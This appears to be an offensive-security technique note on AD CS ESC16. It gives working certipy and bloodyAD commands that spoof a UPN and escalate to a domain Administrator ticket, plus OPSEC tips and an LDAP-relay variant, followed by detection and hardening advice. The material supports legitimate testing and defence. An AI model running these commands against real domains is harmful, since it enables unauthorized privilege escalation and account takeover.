AD CS ESC16 — szOID_NTDS_CA_SECURITY_EXT disabled
TL;DR: A CA configured to omit the SID security extension breaks strong cert-to-account binding — classic UPN-spoof PKINIT impersonation works again even with StrongCertificateBindingEnforcement turned on.
What it is
KB5014754 introduced extension OID 1.3.6.1.4.1.311.25.2 (szOID_NTDS_CA_SECURITY_EXT) that pins the subject’s SID inside the issued certificate. Strong-enforcement KDCs use that SID first when mapping a cert to an account; if it is present and mismatches the requested UPN, auth fails. ESC16 abuses CAs where this extension has been disabled — either via the DisableExtensionList registry value or msPKI-Enrollment-Flag CT_FLAG_NO_SECURITY_EXTENSION. With no SID inside the cert, the KDC falls back to UPN matching, and classic ESC9-style UPN spoofing comes back.
Preconditions / where it applies
- Enterprise CA with the SID extension disabled, registry path:
HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\<CA>\DisableExtensionListcontaining1.3.6.1.4.1.311.25.2. - Enroll right on a client-auth template that supplies subject via request (
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTorSubjectAltRequireUpnoff). - Write or ForceChangePassword rights on a low-priv “patsy” account so you can set its UPN.
- KDC patched but enforcement mode permissive enough to let UPN fallback happen.
Technique
Detect first — Certipy flags vulnerable CAs:
1
certipy find -u me@corp -p 'pw' -dc-ip 10.0.0.1 -vulnerable -stdout | grep ESC16
Exploit path (same shape as ESC9):
- Change the patsy’s
userPrincipalNameto the victim’ssAMAccountNamewithout the@domainsuffix, e.g.administrator. Keep this short form — that’s what mismatches the real Administrator’s UPN-suffixed value.
1
bloodyAD -d corp -u me -p 'pw' --host dc set object patsy userPrincipalName administrator
- Authenticate as patsy and request a cert from the ESC16 template; Certipy notices the missing extension.
1
certipy req -u patsy@corp -p 'pw' -ca corp-CA -template VulnTemplate
- Revert the UPN so AD doesn’t reject other writes.
1
bloodyAD -d corp -u me -p 'pw' --host dc set object patsy userPrincipalName patsy@corp
- PKINIT with the cert. The KDC reads no SID extension, looks up by UPN, finds Administrator, hands out a TGT for it.
1
certipy auth -pfx patsy.pfx -domain corp -dc-ip 10.0.0.1
Same primitive applies to any privileged target whose UPN you can spoof through a patsy.
OPSEC: when ptt’ing the resulting TGT, spawn an isolated logon context first (runas /netonly /user:fake powershell) and inject there — otherwise the imported Administrator ticket clobbers your existing TGTs and breaks the rest of your session. If the patsy is a computer account, the UPN flip can also be done via SMB-relayed LDAP signing-not-enforced binds without ever needing the patsy’s password.
Detection and defence
- Hunt
DisableExtensionListset across all CAs — it should be empty. - Audit cert template flag
CT_FLAG_NO_SECURITY_EXTENSION(0x80000) onmsPKI-Enrollment-Flag. - Set
StrongCertificateBindingEnforcement = 2(Full) on every DC; track event IDs 39, 41 for mapping failures. - Watch 4738 / 4662 for rapid UPN flips on user objects — classic patsy pattern.
- Cross-reference with adcs-esc14-altsecidentities and adcs-attacks for the broader landscape.
References
- Certipy wiki — privilege escalation — ESC9/ESC16 automation
- Microsoft KB5014754 — extension behaviour
- SpecterOps — Certified Pre-Owned — original AD CS abuse paper
- HackTricks — AD CS — ESC catalogue
- ired.team — ADCS + PetitPotam relay — sacrificial logon context tip for handling PKINIT TGTs